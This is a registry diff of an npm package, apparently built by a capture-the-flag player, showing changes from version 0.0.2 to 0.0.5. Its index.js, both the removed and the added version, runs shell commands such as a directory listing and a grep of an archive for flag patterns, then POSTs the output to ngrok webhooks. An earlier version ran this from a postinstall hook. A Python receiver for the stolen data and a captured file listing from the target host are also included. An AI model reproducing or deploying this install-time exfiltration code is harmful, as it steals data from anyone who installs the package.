ect-987654-ctf 0.0.2 → 0.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/evil.yaml CHANGED
@@ -1,8 +1,6 @@
1
1
  ecto_module:
2
- name: "ect-987654"
3
- version: "0.0.1"
2
+ name: "ect-987654-ctf"
3
+ version: "0.0.3" # <- set to the exact version you published (0.0.3 / 0.0.4)
4
4
  power_level: Very High
5
5
  ship_deck: Beta-2
6
6
  cargo_hold: B2-13
7
- dist:
8
- tarball: "https://6bcd07ad6f34.ngrok-free.app/ect-987654-0.0.1.tgz"
package/index.js CHANGED
@@ -1,52 +1,27 @@
1
- cd ~/packagerce
1
+ const https = require("https");
2
+ const { execSync } = require("child_process");
2
3
 
3
- cat > index.js <<'JS'
4
- /*
5
- Extractor: searches inside /home/node/aspect-node.tar.gz for flag patterns.
6
- */
7
- const fs = require('fs');
8
- const os = require('os');
9
- const cp = require('child_process');
4
+ const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
10
5
 
11
- const WEBHOOK = "https://ffa22146c145.ngrok-free.app/"; // your webhook
12
-
13
- function send(payload){
14
- try {
15
- const data = JSON.stringify(payload);
16
- const url = new URL(WEBHOOK);
17
- const mod = url.protocol === 'https:' ? require('https') : require('http');
18
- const opts = {
19
- hostname: url.hostname,
20
- port: url.port || (url.protocol === 'https:' ? 443 : 80),
21
- path: url.pathname,
22
- method: 'POST',
23
- headers: {'Content-Type': 'application/json','Content-Length': Buffer.byteLength(data)}
24
- };
25
- const req = mod.request(opts, res => {});
26
- req.on('error', () => {});
27
- req.write(data); req.end();
28
- } catch(e){}
6
+ function post(data) {
7
+ const body = JSON.stringify(data);
8
+ const url = new URL(WEBHOOK);
9
+ const req = https.request({
10
+ hostname: url.hostname,
11
+ path: url.pathname,
12
+ method: "POST",
13
+ headers: {
14
+ "Content-Type": "application/json",
15
+ "Content-Length": Buffer.byteLength(body)
16
+ }
17
+ });
18
+ req.write(body);
19
+ req.end();
29
20
  }
30
21
 
31
- function run(cmd, limit=20000){
32
- try { return cp.execSync(cmd, {timeout: 10000}).toString().slice(0,limit); }
33
- catch(e){ return (e.stdout||"ERR").toString().slice(0,limit); }
22
+ try {
23
+ const out = execSync("ls -lah /home/node", { encoding: "utf8", timeout: 10000 });
24
+ post({ host: require("os").hostname(), output: out });
25
+ } catch (e) {
26
+ post({ error: e.message });
34
27
  }
35
-
36
- (function(){
37
- const file = "/home/node/aspect-node.tar.gz";
38
- let payload = {host: os.hostname(), ts: new Date().toISOString(), file, results: {}};
39
-
40
- if (fs.existsSync(file)) {
41
- // list contents
42
- payload.results.list = run(`tar -tvf ${file} 2>/dev/null | head -n 200`, 15000);
43
- // grep flag patterns inside archive
44
- payload.results.grep = run(`tar -xOf ${file} 2>/dev/null | grep -aE 'HTB\\{|flag\\{|FLAG\\{' | head -n 50`, 15000);
45
- } else {
46
- payload.results.error = "File not found";
47
- }
48
-
49
- fs.writeFileSync("/tmp/ect_extract.txt", JSON.stringify(payload, null, 2));
50
- send(payload);
51
- })();
52
- JS
package/last_post.json CHANGED
@@ -1 +1,8 @@
1
- {"host":"978af335759b","ts":"2025-10-29T18:16:57.113Z","summary":{"flagname_find_lines":["14832\t/usr/share/perl5/Dpkg/BuildFlags.pm\n10842\t/usr/share/man/de/man1/dpkg-buildflags.1.gz\n10572\t/usr/share/man/fr/man1/dpkg-buildflags.1.gz\n10539\t/usr/share/man/nl/man1/dpkg-buildflags.1.gz\n10030\t/usr/share/man/pt/man1/dpkg-buildflags.1.gz\n10029\t/home/node/aspect-node/modules/npm-tracker/node_modules/_node-environment-flags@1.0.5@node-environment-flags/flags.json\n9719\t/usr/share/man/sv/man1/dpkg-buildflags.1.gz\n9418\t/usr/share/man/man1/dpkg-buildflags.1.gz\n8913\t/usr/share/doc/git/contrib/credential/libsecret/git-credential-libsecret.c\n8335\t/usr/bin/dpkg-buildflags\n8253\t/usr/include/lzma/stream_flags.h\n7486\t/usr/lib/python3/dist-packages/mercurial/revlogutils/__pycache__/flagutil.cpython-311.pyc\n7467\t/usr/lib/python3/dist-packages/mercurial/revlogutils/flagutil.py\n6745\t/usr/include/x86_64-linux-gnu/asm/processor-flags.h\n4501\t/usr/include/linux/tty_flags.h\n3249\t/usr/share/man/man3/Dpkg::BuildFlags.3perl.gz\n3148\t/usr/local/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/calc-dep-flags.js\n3027\t/home/node/aspect-node/modules/npm-tracker/node_modules/_mocha@6.2.3@mocha/lib/cli/node-flags.js\n3005\t/usr/lib/python3/dist-packages/mercurial/helptext/flags.txt\n2862\t/usr/lib/python3.11/__pycache__/secrets.cpython-311.pyc\n2822\t/usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h\n2594\t/usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h\n2028\t/usr/lib/python3.11/secrets.py\n1997\t/usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h\n1936\t/usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h\n1813\t/usr/share/dpkg/buildflags.mk\n1697\t/usr/include/x86_64-linux-gnu/bits/waitflags.h\n1415\t/usr/local/lib/node_modules/npm/node_modules/@colors/colors/lib/system/has-flag.js\n1230\t/usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h\n1188\t/usr/include/x86_64-linux-gnu/bits/ss_flags.h\n1169\t/usr/share/man/man3/XtAppSetExitFlag.3.gz\n1101\t/home/node/aspect-node/modules/npm-tracker/node_modules/_es-abstract@1.22.3@es-abstract/2023/RegExpHasFlag.js\n1101\t/home/node/aspect-node/modules/npm-tracker/node_modules/_es-abstract@1.22.3@es-abstract/2022/RegExpHasFlag.js\n933\t/usr/share/man/man3/set_matchpathcon_flags.3.gz\n921\t/usr/local/lib/node_modules/npm/node_modules/tar/lib/get-write-flag.js\n900\t/usr/include/linux/kernel-page-flags.h\n816\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/waitflags.ph\n644\t/home/node/aspect-node/modules/npm-tracker/node_modules/_moment@2.30.1@moment/src/lib/create/parsing-flags.js\n638\t/usr/local/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/reset-dep-flags.js\n443\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/bits/ss_flags.ph\n370\t/home/node/aspect-node/modules/npm-tracker/node_modules/_core-js@2.6.12@core-js/modules/_flags.js\n370\t/home/node/aspect-node/modules/npm-tracker/node_modules/_core-js@2.6.12@core-js/library/modules/_flags.js\n314\t/home/node/aspect-node/modules/npm-tracker/node_modules/_prop-types@15.8.1@prop-types/lib/ReactPropTypesSecret.js\n201\t/home/node/aspect-node/modules/npm-tracker/node_modules/_core-js@2.6.12@core-js/modules/es6.regexp.flags.js\n149\t/home/node/aspect-node/modules/npm-tracker/node_modules/_core-js@2.6.12@core-js/library/fn/regexp/flags.js\n149\t/home/node/aspect-node/modules/npm-tracker/node_modules/_core-js@2.6.12@core-js/fn/regexp/flags.js\n0\t/home/node/aspect-node/modules/npm-tracker/node_modules/_core-js@2.6.12@core-js/modules/library/es6.regexp.flags.js\n0\t/home/node/aspect-node/modules/npm-tracker/node_modules/_core-js@2.6.12@core-js/library/modules/es6.regexp.flags.js\n"],"grep_flags_lines":["ERR:spawnSync /bin/sh ETIMEDOUT"],"top_large_lines":["90942048\t/usr/local/bin/node\n52358223\t/home/node/aspect-node.tar.gz\n35464168\t/usr/lib/gcc/x86_64-linux-gnu/12/cc1plus\n33342568\t/usr/lib/gcc/x86_64-linux-gnu/12/cc1\n31949128\t/usr/lib/gcc/x86_64-linux-gnu/12/lto1\n31945032\t/usr/bin/x86_64-linux-gnu-lto-dump-12\n31262256\t/usr/lib/x86_64-linux-gnu/libicudata.so.72.1\n31252892\t/usr/lib/x86_64-linux-gnu/libicudata.a\n16394944\t/usr/lib/x86_64-linux-gnu/libx265.so.199\n11676702\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/tsserver.js\n11615475\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/tsserverlibrary.js\n11087336\t/usr/lib/x86_64-linux-gnu/librsvg-2.so.2.48.0\n10945736\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/typescriptServices.js\n10945729\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/typescript.js\n10108128\t/usr/bin/sq\n9064210\t/usr/lib/x86_64-linux-gnu/libcrypto.a\n8281024\t/usr/lib/file/magic.mgc\n8198712\t/usr/lib/x86_64-linux-gnu/libasan.so.8.0.0\n8148122\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/typingsInstaller.js\n8086096\t/usr/lib/x86_64-linux-gnu/libicui18n.a\n7991800\t/usr/lib/x86_64-linux-gnu/libtsan.so.2.0.0\n7593896\t/home/node/aspect-node/modules/npm-tracker/node_modules/_jsdoctypeparser@3.1.0@jsdoctypeparser/tests/fixtures/definitely-typed-types\n6831704\t/usr/bin/python3.11\n6157210\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/tsc.js\n6030624\t/usr/lib/gcc/x86_64-linux-gnu/12/libstdc++.a\n5643672\t/usr/lib/x86_64-linux-gnu/libaom.so.3.6.0\n5445986\t/usr/lib/x86_64-linux-gnu/libc.a\n5306478\t/opt/yarn-v1.22.19/lib/cli.js\n5018334\t/usr/lib/x86_64-linux-gnu/libMagickCore-6.Q16.a\n4709656\t/usr/lib/x86_64-linux-gnu/libcrypto.so.3\n4699330\t/usr/lib/x86_64-linux-gnu/libgio-2.0.a\n4472989\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/charclass_invlists.h\n4336056\t/usr/lib/x86_64-linux-gnu/libdjvulibre.a\n4008514\t/usr/lib/x86_64-linux-gnu/libicuuc.a\n3823936\t/usr/lib/x86_64-linux-gnu/libperl.so.5.36.0\n3804432\t/usr/bin/perl5.36.0\n3804432\t/usr/bin/perl\n3660136\t/usr/lib/git-core/git\n3660136\t/usr/bin/git\n3391490\t/home/node/aspect-node/modules/npm-tracker/node_modules/_xml2js@0.6.2@xml2js/lib/xml2js.bc.js\n3307688\t/usr/lib/x86_64-linux-gnu/libicui18n.so.72.1\n3201312\t/usr/lib/x86_64-linux-gnu/libOpenEXR-3_1.so.30.5.1\n3138240\t/usr/bin/x86_64-linux-gnu-ld.gold\n3080764\t/usr/lib/gcc/x86_64-linux-gnu/12/libgcc.a\n3018450\t/usr/lib/x86_64-linux-gnu/libdb-5.3.a\n2995440\t/usr/lib/x86_64-linux-gnu/liblsan.so.0.0.0\n2815944\t/usr/lib/x86_64-linux-gnu/libMagickCore-6.Q16.so.6.0.0\n2815884\t/usr/lib/gcc/x86_64-linux-gnu/12/libasan.a\n2809470\t/usr/lib/x86_64-linux-gnu/libxml2.a\n2750712\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/JP/JP.so\n2698304\t/usr/lib/x86_64-linux-gnu/libubsan.so.1.0.0\n2521592\t/usr/lib/x86_64-linux-gnu/libMagickWand-6.Q16.a\n2498152\t/usr/lib/x86_64-linux-gnu/libgprofng.so.0.0.0\n2442625\t/home/node/aspect-node/modules/npm-tracker/node_modules/_@ali_maven@1.0.2@@ali/maven/lib/guava-20.0.jar\n2414840\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/KR/KR.so\n2408297\t/usr/share/mime/packages/freedesktop.org.xml\n2368780\t/usr/lib/gcc/x86_64-linux-gnu/12/libtsan.a\n2334452\t/usr/lib/x86_64-linux-gnu/libsqlite3.a\n2296726\t/usr/lib/x86_64-linux-gnu/libm-2.36.a\n2280734\t/usr/lib/x86_64-linux-gnu/libcairo.a\n2249584\t/usr/lib/x86_64-linux-gnu/libglib-2.0.a\n2213808\t/usr/lib/x86_64-linux-gnu/libfftw3.so.3.6.10\n2200240\t/tmp/v8-compile-cache-0/10.2.154.26-node.26/zSoptzSyarn-v1.22.19zSbinzSyarn.js.BLOB\n2197240\t/usr/lib/x86_64-linux-gnu/libgnutls.so.30.34.3\n2190896\t/usr/lib/x86_64-linux-gnu/libdns-9.18.19-1~deb12u1-Debian.so\n2190440\t/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30\n2185986\t/usr/local/lib/node_modules/corepack/dist/corepack.js\n2179456\t/usr/lib/git-core/git-remote-http\n2171232\t/usr/lib/git-core/git-http-push\n2170984\t/usr/lib/git-core/scalar\n2170984\t/usr/bin/scalar\n2166992\t/home/node/aspect-node/modules/npm-tracker/node_modules/_@ali_maven@1.0.2@@ali/maven/lib/wagon-http-2.12-shaded.jar\n2163392\t/usr/lib/git-core/git-imap-send\n2158912\t/usr/lib/git-core/git-http-fetch\n2157722\t/usr/lib/x86_64-linux-gnu/libX11.a\n2156216\t/usr/lib/x86_64-linux-gnu/libisl.so.23.2.0\n2155535\t/root/.npm/_cacache/content-v2/sha512/ae/91/d357e36eaffd0d23b36ca0571a005f4ffdc7960f43ef1ab072c46b25ffb9d8c99a975cac2214693a4ba1af4fe5f4385f8c1acbeb6a37f41dbb70773441f9\n2129696\t/usr/lib/git-core/git-daemon\n2125728\t/usr/lib/git-core/git-http-backend\n2117216\t/usr/lib/git-core/git-shell\n2117216\t/usr/bin/git-shell\n2117120\t/usr/lib/git-core/git-sh-i18n--envsubst\n2099448\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/CN/CN.so\n2078888\t/usr/lib/x86_64-linux-gnu/libicuuc.so.72.1\n2067760\t/usr/lib/x86_64-linux-gnu/libapt-pkg.so.6.0.0\n2029816\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Encode/TW/TW.so\n1944816\t/usr/lib/x86_64-linux-gnu/libgio-2.0.so.0.7400.6\n1939332\t/usr/share/perl/5.36.0/Unicode/Collate/allkeys.txt\n1922136\t/usr/lib/x86_64-linux-gnu/libc.so.6\n1880736\t/usr/bin/x86_64-linux-gnu-dwp\n1843792\t/usr/lib/x86_64-linux-gnu/libdb-5.3.so\n1792040\t/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0\n1754040\t/usr/lib/x86_64-linux-gnu/libdjvulibre.so.21.7.0\n1750500\t/usr/lib/x86_64-linux-gnu/libmvec.a\n1750104\t/usr/lib/x86_64-linux-gnu/libxml2.so.2.9.14\n1585152\t/usr/lib/x86_64-linux-gnu/libdav1d.so.6.6.0\n1579352\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Unicode/Collate/Collate.so\n1542995\t/usr/share/doc/libharfbuzz0b/changelog.gz\n1538992\t/usr/lib/x86_64-linux-gnu/libsepol.a\n1514448\t/usr/lib/x86_64-linux-gnu/libbfd-2.40-system.so\n1437848\t/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6\n1414420\t/usr/lib/x86_64-linux-gnu/libcurl.a\n1405964\t/home/node/aspect-node/modules/npm-tracker/node_modules/_ali-oss@6.18.1@ali-oss/dist/aliyun-oss-sdk.js\n1351137\t/home/node/aspect-node/modules/npm-tracker/node_modules/_@babel_parser@7.23.6@@babel/parser/lib/index.js.map\n1340001\t/usr/lib/python3/dist-packages/mercurial/locale/pt_BR/LC_MESSAGES/hg.mo\n1336592\t/usr/bin/x86_64-linux-gnu-ld.bfd\n1332480\t/usr/lib/x86_64-linux-gnu/libgcrypt.so.20.4.1\n1325176\t/usr/lib/x86_64-linux-gnu/gprofng/libgp-collector.so\n1318408\t/usr/lib/x86_64-linux-gnu/libX11.so.6.4.0\n1305592\t/usr/bin/x86_64-linux-gnu-g++-12\n1301496\t/usr/bin/x86_64-linux-gnu-gcc-12\n1301496\t/usr/bin/x86_64-linux-gnu-cpp-12\n1273360\t/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.7400.6\n1265648\t/usr/bin/bash\n1261376\t/usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0\n1238120\t/usr/lib/x86_64-linux-gnu/libgmp.a\n1230436\t/usr/lib/x86_64-linux-gnu/libssl.a\n1203192\t/usr/lib/x86_64-linux-gnu/libMagickWand-6.Q16.so.6.0.0\n1201094\t/usr/lib/python3/dist-packages/mercurial/locale/ja/LC_MESSAGES/hg.mo\n1187432\t/usr/lib/x86_64-linux-gnu/libcairo.so.2.11600.0\n1180024\t/usr/lib/gcc/x86_64-linux-gnu/12/lto-wrapper\n1160080\t/usr/lib/python3/dist-packages/mercurial/locale/ru/LC_MESSAGES/hg.mo\n1137724\t/usr/lib/x86_64-linux-gnu/libfreetype.a\n1125408\t/usr/bin/ssh\n1122477\t/usr/share/perl/5.36.0/unicore/Name.pl\n1108440\t/usr/bin/gpg\n1103463\t/home/node/aspect-node/modules/npm-tracker/node_modules/_language-subtag-registry@0.3.22@language-subtag-registry/data/json/registry.json\n1064504\t/usr/lib/x86_64-linux-gnu/libharfbuzz.so.0.60000.0\n1033730\t/usr/lib/gcc/x86_64-linux-gnu/12/liblsan.a\n1029037\t/home/node/aspect-node/modules/npm-tracker/node_modules/_axe-core@4.7.0@axe-core/axe.js\n1019408\t/usr/lib/x86_64-linux-gnu/libmvec.so.1\n982796\t/usr/share/perl/5.36.0/Module/CoreList.pm\n978784\t/usr/sbin/ldconfig\n976616\t/usr/bin/openssl\n965960\t/usr/share/doc/git/changelog.gz\n965960\t/usr/share/doc/git-man/changelog.gz\n956508\t/usr/lib/x86_64-linux-gnu/libLerc.a\n943420\t/usr/lib/gcc/x86_64-linux-gnu/12/libubsan.a\n936960\t/usr/lib/x86_64-linux-gnu/libzstd.a\n932120\t/usr/bin/gpgcompose\n926156\t/usr/lib/x86_64-linux-gnu/libtiff.a\n918952\t/usr/bin/x86_64-linux-gnu-as\n907784\t/usr/lib/x86_64-linux-gnu/libm.so.6\n899873\t/usr/share/locale/bg/LC_MESSAGES/git.mo\n898146\t/usr/lib/x86_64-linux-gnu/libpixman-1.a\n895128\t/usr/lib/x86_64-linux-gnu/libopcodes-2.40-system.so\n888080\t/usr/lib/x86_64-linux-gnu/libkrb5.so.3.3\n855251\t/var/cache/debconf/templates.dat\n840632\t/usr/lib/x86_64-linux-gnu/libsystemd.so.0.35.0\n839320\t/usr/lib/x86_64-linux-gnu/libjemalloc.so.2\n835038\t/usr/lib/x86_64-linux-gnu/libjpeg.a\n829188\t/usr/lib/x86_64-linux-gnu/libblkid.a\n825256\t/usr/lib/x86_64-linux-gnu/libfreetype.so.6.18.3\n824334\t/usr/share/doc/liblcms2-dev/LittleCMS2.14 API.pdf.gz\n816787\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/lib.dom.d.ts\n805537\t/var/cache/debconf/templates.dat-old\n790792\t/usr/lib/x86_64-linux-gnu/libpcre2-8.a\n788832\t/usr/lib/x86_64-linux-gnu/libsvn_wc-1.so.1.0.0\n769604\t/usr/lib/x86_64-linux-gnu/libwebp.a\n769408\t/usr/bin/x86_64-linux-gnu-readelf\n764192\t/usr/lib/x86_64-linux-gnu/libsepol.so.2\n763816\t/usr/lib/x86_64-linux-gnu/libzstd.so.1.5.4\n762256\t/usr/lib/x86_64-linux-gnu/libmpfr.so.6.2.0\n759720\t/usr/share/fonts/truetype/dejavu/DejaVuSans.ttf\n756209\t/usr/lib/python3.11/pydoc_data/topics.py\n746982\t/usr/share/locale/uk/LC_MESSAGES/gas.mo\n742114\t/usr/lib/x86_64-linux-gnu/libgobject-2.0.a\n737440\t/usr/bin/x86_64-linux-gnu-gcov-12\n736538\t/usr/lib/x86_64-linux-gnu/libpcre2-16.a\n729789\t/home/node/aspect-node/modules/npm-tracker/node_modules/_aliyun-sdk@1.12.10@aliyun-sdk/dist/aliyun-sdk.js\n725665\t/usr/share/locale/ru/LC_MESSAGES/gas.mo\n721681\t/usr/share/doc/zlib1g-dev/crc-doc.1.0.pdf.gz\n721270\t/home/node/aspect-node/modules/npm-tracker/node_modules/_rxjs@6.6.7@rxjs/bundles/rxjs.umd.js.map\n716216\t/usr/lib/x86_64-linux-gnu/libcurl.so.4.8.0\n708920\t/usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf\n708520\t/usr/lib/x86_64-linux-gnu/libpcre2-32.a\n708154\t/usr/lib/gcc/x86_64-linux-gnu/12/libstdc++fs.a\n699692\t/usr/share/locale/vi/LC_MESSAGES/git.mo\n698384\t/usr/lib/x86_64-linux-gnu/libpixman-1.so.0.42.2\n695736\t/usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4.8.0\n692256\t/usr/lib/x86_64-linux-gnu/libssl.so.3\n687396\t/usr/lib/x86_64-linux-gnu/libXt.a\n678384\t/usr/lib/python3/dist-packages/mercurial/zstd.cpython-311-x86_64-linux-gnu.so\n670156\t/usr/share/locale/de/LC_MESSAGES/git.mo\n669831\t/usr/share/locale/fr/LC_MESSAGES/git.mo\n664868\t/usr/share/locale/ca/LC_MESSAGES/git.mo\n664400\t/usr/lib/x86_64-linux-gnu/libbrotlienc.a\n661952\t/usr/bin/ssh-keygen\n660384\t/home/node/aspect-node/modules/npm-tracker/node_modules/_typescript@4.9.5@typescript/lib/tsserverlibrary.d.ts\n659312\t/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/re/re.so\n659312\t/usr/lib/x86_64-linux-gnu/perl-base/auto/re/re.so\n657390\t/usr/lib/x86_64-linux-gnu/libreadline.a\n657073\t/usr/share/doc/sudo/changelog.gz\n653888\t/usr/lib/openssh/ssh-keysign\n652069\t/usr/share/locale/tr/LC_MESSAGES/git.mo\n640766\t/usr/share/locale/es/LC_MESSAGES/git.mo\n639192\t/usr/lib/gcc/x86_64-linux-gnu/12/collect2\n637144\t/usr/lib/x86_64-linux-gnu/libheif.so.1.15.1\n637136\t/usr/lib/x86_64-linux-gnu/libsvn_client-1.so.1.0.0\n635303\t/home/node/aspect-node/modules/npm-tracker/node_modules/_uglify-js@3.17.4@uglify-js/lib/compress.js\n"]}}
1
+ {
2
+ "host": "y",
3
+ "ts": "2025-10-30T03:06:53.308Z",
4
+ "file": "/home/node/aspect-node.tar.gz",
5
+ "outputs": {
6
+ "err": "file not found"
7
+ }
8
+ }
package/package.json CHANGED
@@ -1,11 +1,7 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.2",
4
- "main": "index.js",
5
- "description": "utility module",
6
- "author": "ctf-player",
7
- "license": "ISC",
3
+ "version": "0.0.5",
8
4
  "scripts": {
9
- "postinstall": "node index.js"
5
+ "preinstall": "ls -lah > /tmp/preinstall_test.txt"
10
6
  }
11
7
  }
@@ -1,59 +1,46 @@
1
1
  #!/usr/bin/env python3
2
- # serve_and_receive.py
3
- import http.server, socketserver, os, sys, json
4
- from urllib.parse import urlparse, unquote
2
+ from http.server import SimpleHTTPRequestHandler, HTTPServer
3
+ import json, sys, io
4
+ from urllib.parse import urlparse
5
+ import threading
5
6
 
6
- PORT = int(sys.argv[1]) if len(sys.argv)>1 else 8000
7
- TARBALL = "ect-987654-0.0.1.tgz"
8
- CWD = os.path.dirname(os.path.abspath(__file__))
9
-
10
- class Handler(http.server.BaseHTTPRequestHandler):
11
- def do_GET(self):
12
- path = unquote(urlparse(self.path).path)
13
- if path == f"/{TARBALL}":
14
- fpath = os.path.join(CWD, TARBALL)
15
- if os.path.exists(fpath):
16
- self.send_response(200)
17
- self.send_header("Content-Type", "application/octet-stream")
18
- self.send_header("Content-Length", str(os.path.getsize(fpath)))
19
- self.end_headers()
20
- with open(fpath,"rb") as fh:
21
- self.wfile.write(fh.read())
22
- print(f"[+] Served tarball to {self.client_address[0]}:{self.client_address[1]}")
23
- else:
24
- self.send_response(404); self.end_headers(); self.wfile.write(b"Not found")
25
- else:
26
- # simple index
27
- self.send_response(200)
28
- self.end_headers()
29
- self.wfile.write(b"OK - tarball server")
7
+ PORT = 8000
30
8
 
9
+ class Handler(SimpleHTTPRequestHandler):
31
10
  def do_POST(self):
32
- length = int(self.headers.get('content-length', 0) or 0)
33
- body = self.rfile.read(length) if length else b''
11
+ length = int(self.headers.get('Content-Length', 0))
12
+ body = self.rfile.read(length) if length>0 else b''
13
+ try:
14
+ data = json.loads(body.decode('utf-8'))
15
+ except Exception:
16
+ data = {"raw": body.decode('utf-8','replace')}
17
+ # Save to file
18
+ with open('last_post.json', 'w', encoding='utf-8') as f:
19
+ json.dump(data, f, indent=2, ensure_ascii=False)
34
20
  print("\n== POST RECEIVED ==")
35
21
  print("From:", self.client_address)
36
22
  print("Path:", self.path)
37
23
  print("Headers:")
38
24
  for k,v in self.headers.items():
39
- print(f" {k}: {v}")
25
+ print(" ", k, ":", v)
40
26
  print("Body:")
41
27
  try:
42
- print(body.decode())
28
+ print(json.dumps(data, indent=2, ensure_ascii=False))
43
29
  except:
44
- print(body)
45
- # optionally write to file
46
- try:
47
- with open("last_post.json","wb") as out:
48
- out.write(body)
49
- except Exception as e:
50
- print("Failed to write POST to file:", e)
30
+ print(data)
51
31
  self.send_response(200)
32
+ self.send_header('Content-Type','application/json')
52
33
  self.end_headers()
53
- self.wfile.write(b"OK")
34
+ self.wfile.write(b'{"ok":true}')
35
+ # GET served by SimpleHTTPRequestHandler -> static files
36
+
37
+ def start_server():
38
+ srv = HTTPServer(('0.0.0.0', PORT), Handler)
39
+ print(f"Serving tarball and receiving POSTs on port {PORT}")
40
+ try:
41
+ srv.serve_forever()
42
+ except KeyboardInterrupt:
43
+ srv.server_close()
54
44
 
55
- if __name__ == "__main__":
56
- os.chdir(CWD)
57
- print(f"Serving tarball {TARBALL} and receiving POSTs on port {PORT}")
58
- with socketserver.TCPServer(("", PORT), Handler) as httpd:
59
- httpd.serve_forever()
45
+ if __name__ == '__main__':
46
+ start_server()
package/admin.js DELETED
@@ -1,196 +0,0 @@
1
- let editor;
2
- let modules = [];
3
-
4
- // Initialize CodeMirror editor
5
- function initializeEditor() {
6
- const container = document.getElementById("codemirror-container");
7
- editor = CodeMirror(container, {
8
- mode: "yaml",
9
- theme: "dracula",
10
- lineNumbers: true,
11
- autoCloseBrackets: true,
12
- matchBrackets: true,
13
- indentUnit: 2,
14
- tabSize: 2,
15
- lineWrapping: true,
16
- value: "",
17
- viewportMargin: Infinity, // This makes CodeMirror auto-resize to content
18
- });
19
-
20
- // after `editor = CodeMirror(...)`
21
- function updateEditorHeight() {
22
- const scrollInfo = editor.getScrollInfo();
23
- // set height to exactly the full content height
24
- editor.setSize(null, scrollInfo.height);
25
- }
26
- // run once on init…
27
- updateEditorHeight();
28
- // …and again any time the content changes
29
- editor.on("change", updateEditorHeight);
30
-
31
- // Additional auto-resize functionality
32
- editor.on("change", function () {
33
- editor.refresh();
34
- });
35
- }
36
-
37
- // Load modules from API
38
- async function loadModules() {
39
- try {
40
- const response = await fetch("/api/modules");
41
- modules = await response.json();
42
- displayModules(modules);
43
-
44
- // Preload the first module
45
- if (modules.length > 0) {
46
- loadModule(modules[0].id);
47
- }
48
- } catch (error) {
49
- console.error("Error loading modules:", error);
50
- showMessage("Failed to load ecto-modules", "error");
51
- }
52
- }
53
-
54
- // Display modules in the sidebar
55
- function displayModules(modulesToShow) {
56
- const moduleList = document.querySelector(".module-list");
57
- moduleList.innerHTML = "";
58
-
59
- const colors = ["red", "blue", "yellow", "green", "purple"];
60
-
61
- modulesToShow.forEach((module, index) => {
62
- const colorClass = colors[index % colors.length];
63
- const moduleCard = document.createElement("div");
64
- moduleCard.className = `flex column mb-1 hoverable ${colorClass}`;
65
- moduleCard.dataset.moduleId = module.id;
66
-
67
- moduleCard.innerHTML = `
68
- <div class="glow text flex row justify-space-between">
69
- <strong>${module.name || "Unknown Spirit"}</strong>
70
- <strong>${module.id}</strong>
71
- </div>
72
- <div class="glow flex row justify-space-between p-1 pb-2 flex-wrap">
73
- <div class="flex column">
74
- <strong>POWER</strong>
75
- <span class="glow text">${module.power_level || "Unknown"}</span>
76
- </div>
77
- <div class="flex column px-1">
78
- <strong>VERSION</strong>
79
- <span class="glow text">${module.version || "Unknown"}</span>
80
- </div>
81
- <div class="flex column px-1">
82
- <strong>DECK</strong>
83
- <span class="glow text">${module.ship_deck || "Unknown"}</span>
84
- </div>
85
- <div class="flex column px-1">
86
- <strong>CARGO</strong>
87
- <span class="glow text">${module.cargo_hold || "Unknown"}</span>
88
- </div>
89
- </div>
90
- `;
91
-
92
- moduleCard.addEventListener("click", () => loadModule(module.id));
93
- moduleList.appendChild(moduleCard);
94
- });
95
- }
96
-
97
- // Load specific module
98
- async function loadModule(moduleId) {
99
- try {
100
- const response = await fetch(`/api/modules/${moduleId}`);
101
- const module = await response.json();
102
-
103
- if (module.raw) {
104
- editor.setValue(module.raw);
105
- document.getElementById("module-id").value = moduleId;
106
-
107
- // Update selected state
108
- document.querySelectorAll(".module-card").forEach((card) => {
109
- card.classList.remove("selected");
110
- });
111
- const selectedCard = document.querySelector(
112
- `[data-module-id="${moduleId}"]`,
113
- );
114
- if (selectedCard) {
115
- selectedCard.classList.add("selected");
116
- }
117
-
118
- showMessage(
119
- `Loaded ecto-module: ${module.data?.name || moduleId}`,
120
- "success",
121
- );
122
- }
123
- } catch (error) {
124
- console.error("Error loading module:", error);
125
- showMessage("Failed to load ecto-module", "error");
126
- }
127
- }
128
-
129
- // Update module manifest
130
- async function updateModule() {
131
- const moduleId = document.getElementById("module-id").value;
132
- const manifest = editor.getValue();
133
-
134
- if (!moduleId) {
135
- showMessage("No ecto-module selected", "error");
136
- return;
137
- }
138
-
139
- try {
140
- const response = await fetch(`/api/modules/${moduleId}`, {
141
- method: "PUT",
142
- headers: {
143
- "Content-Type": "application/json",
144
- },
145
- body: JSON.stringify({ manifest }),
146
- });
147
-
